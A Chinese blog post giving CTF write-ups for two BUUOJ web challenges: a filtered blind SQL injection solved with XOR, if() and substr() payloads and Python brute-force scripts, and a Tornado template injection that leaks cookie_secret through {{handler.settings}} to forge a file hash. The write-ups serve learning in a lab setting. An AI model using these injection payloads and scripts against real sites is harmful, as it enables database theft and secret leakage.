BUUOJ Hack World&easy_tornado

CISCN 2019 web Hack World

进入页面,就有提示让我们传参数id就行。说明这是sql注入中的数字注入给id传整数。
在这里插入图片描述
再传一个空值,页面显示"bool(false)"。
在这里插入图片描述
可以联想到布尔型注入,试试用布尔盲注的方法先测试一下,发现union,or,and这些被过滤了,就连空格也被过滤了。不过()倒是没有被过滤。那么怎么表达逻辑运算?上网搜了一下,发现可以用异或运算符"^" 来代替and和or。这里只借助"^“貌似还不够。还要借助sql语句中的if和”%"通配符。

sql语句中的if有点类似于c语言中的三元运算符。比如if(语句,0,1)如果语句成立的话,就是0。否则就是1。%则是匹配语句。通过利用这些绕过技巧,就可以成功注入。

下面就是思考如何构造payload。布尔型盲注常用的几个函数left(),ascii(),substr()都可以试一下。但是用ascii()相对来说方便一些。

构造的payload "1^if(ascii(substr((select(flag)from(flag)),%d,1)=%d),0,1)"%(num1,num2)

显然,这个payload需要很多次运算。用脚本的话会快得多。

   import requests
   flag=""
   url="http://da187932-a027-4cc7-bf31-b5913a3e4a85.node3.buuoj.cn/index.php"
   for i in range(1,60):
   for j in range(32, 129):
       payload = "1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" % (i, j)
       data = {
           'id': payload
       }
       res = requests.post(url, data=data)
       if 'Hello' in res.text:
           flag = flag + chr(j)
           print(flag)
           link = 1
           break

这个脚本运行起来有点慢。在网上发现了大佬的脚本,用二分法写的。运行起来要快了不少。

    import requests
    import time
    
    url = "http://da187932-a027-4cc7-bf31-b5913a3e4a85.node3.buuoj.cn/index.php"
    temp = {"id" : ""}
    flag = ""
    for i in range(1,1000):
    	time.sleep(0.06)
    	low = 32
   	    high =128
        mid = (low+high)//2
        while(low<high):
           temp["id"] = "1^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)^1" %(i,mid)
           r = requests.post(url,data=temp)
           print(low,high,mid,":")
           if "Hello" in r.text:
              low = mid+1
           else:
              high = mid
           mid =(low+high)//2
        if(mid ==32 or mid ==127):
            break
       flag +=chr(mid)
       print(flag)
    
    
    print("flag=" ,flag)

得出来flag,提交。

护网杯2018 Easy_tornado


打开实例,发现页面给了三个文件地址。打开看看有什么信息。

在这里插入图片描述

发现flag.txt下提示flag就在/fllllllllllllag里面。
在这里插入图片描述
再打开hints.txt,看看有什么提示信息。页面提示"md5(cookie_secret+md5(filename))"。再看看url,发现有一个参数"filehash"。再结合MD5这个提示,说明这个参数可能就是md5(cookie_secret+md5(filename))后的结果。
在这里插入图片描述

打开welcome.txt,发现提示"render"。一开始不明白这什么意思,在网上看了wp才发现这是提示模板注入。题名tornado也说明可能和t模板注入有关。

在这里插入图片描述

什么是模板注入?

模板注入(SSTI)和sql注入有点类似,也是通过输入在后端的渲染处理上拼接成语句。ssti和常见到的web注入一样,都是服务端接受了用户的输入,将其作为web模板的一部分。在进行模板渲染的过程中执行了用户插入的恶意内容。

模板注入是基于模板渲染处理的,模板渲染又分为前端渲染,后端渲染,浏览器渲染。这里给出一个ssti的例子:

$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); 
echo $output;

这样可以通过用户传的参数name来实现模板注入。利用模板变量来实现页面执行用户输入的恶意代码。(使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 $_GET[“name”]。)

这样可以考虑构造payload file?filename=/flllllllllllag&filehash=mad5(cookie_secret+md5(/flllllllllllllag)) 但是cookie_secret怎么获取?这是就要用到tornado模板。和sql注入一样,ssti注入也需要先找一下注入点。

在这里插入图片描述

直接输入filename=/flllllllllag,页面会报错。并且浏览器上的url显示error?msg=Error.说明可以构造error?msg= .先试试error?msg={{2}},只输出了2。再试试error?msg={{2*3}},没有出现cookie。说明这些操作符被过滤了,这个时候要用到tornado中的handler.settings对象。构造error?msg={{handler.settings}},页面显示cookie_secret。

在这里插入图片描述

再把cookie_secret代入到payload中,得到flag。

在这里插入图片描述

当然也可以写个脚本,菜鸟在网上找了一个脚本,但运行时报错。提示TypeError: Unicode-objects must be encoded before hashing。当时想那个地方可能没有指定编码格式。确实,在update函数要指定传入的参数的编码格式。

    #!-*-coding:utf-8 -*-
    import hashlib
    def md5(s):
    	md5 = hashlib.md5()
    	md5.update(s.encode("utf-8"))
    	return md5.hexdigest()
    def filehash():
    	filename = '/fllllllllllllag'
    	cookie_secret = 'c6862c2d-66a0-4465-af17-58a23841583b'
    	print(md5(cookie_secret + md5(filename)))
    if __name__ == '__main__':
    	filehash()
发布了9 篇原创文章 · 获赞 0 · 访问量 191

猜你喜欢

转载自blog.csdn.net/zydbk123456/article/details/104880887